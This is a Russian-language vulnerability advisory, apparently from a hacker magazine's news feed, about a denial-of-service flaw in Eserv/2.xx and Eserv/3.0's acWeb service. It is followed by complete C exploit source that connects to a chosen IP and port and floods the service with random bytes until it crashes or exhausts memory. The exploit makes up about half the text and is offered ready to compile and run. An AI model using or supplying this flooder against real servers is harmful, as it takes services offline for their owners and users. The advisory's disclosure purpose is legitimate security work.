DoS против Eserv/2.xx и в acWeb сервисе Eserv/3.0

Программа: Eserv/2.xx/3.0

Уязвимость обнаружена во всех сервисах Eserv/2.xx и в acWeb сервисе Eserv/3.0. Удаленный атакующий может вызвать отказ в обслуживании.

При посылке, в течении некоторого времени, специальным образом сконструированного буфера
любому из предоставляемых сервисов Eserv/2.xx (проверенно на ftp, smtp, web, http-proxy, ftp-proxy, pop3), программа, без каких-либо сообщений, прекращает свою работу. При этом, соответственно, все сервисы становятся недоступными.

Постоянная посылка этого же буфера acWeb сервису Eserv/3.0, приводит к
утечке памяти программой. В локальной сети на Win2K поедание происходит со скоростью 10Мб/сек, что, при продолжении атаки, приводит к полному истощению оперативной и виртуальной памяти сервера.

Пример/Эксплоит:

/*
* m00-eserv-DoS.c
*
* this is trivial DoS 🙂 *
* sending garbage on any services port (tested on 21, 25, 80, 110, 3121,
3128)
* result: exiting program and close all eserv services
* if you seen message: Broken pipe
* then may going drink beer 8)
*
* tested on Eserv/2.x
* Eserv 3.0 only web(80) services susceptible on this DoS
*
* m00security.org / by rash
*/

#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>

int main(int argc, char *argv[])
{
char buf[2000];
int fd;
struct sockaddr_in rsin;

if (argc!=3) {
printf("\n usage: %s <ip> <port>\n\n", argv[0]);
exit(0);
}

rsin.sin_family = AF_INET;
rsin.sin_port = htons(atoi(argv[2]));
rsin.sin_addr.s_addr = inet_addr(argv[1]);

for (fd=0;fd<2000;fd++)
buf[fd]=(int *)((rand()*10));

fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (connect(fd,(struct sockaddr *)&rsin,sizeof(struct sockaddr)))
perror("[-]
connect()"),exit(0);

printf("[+] connected..\n");
printf("[+] send data to host..\n");

while (1) {
if ((send(fd, buf, 2000, 0))<0)
break;
}
}

Анатолий Ализар: Бывший автор новостной ленты «Хакера». Увлекается современными технологиями, оружием, информационной безопасностью, носимой электроникой и в целом концепцией Internet of Things.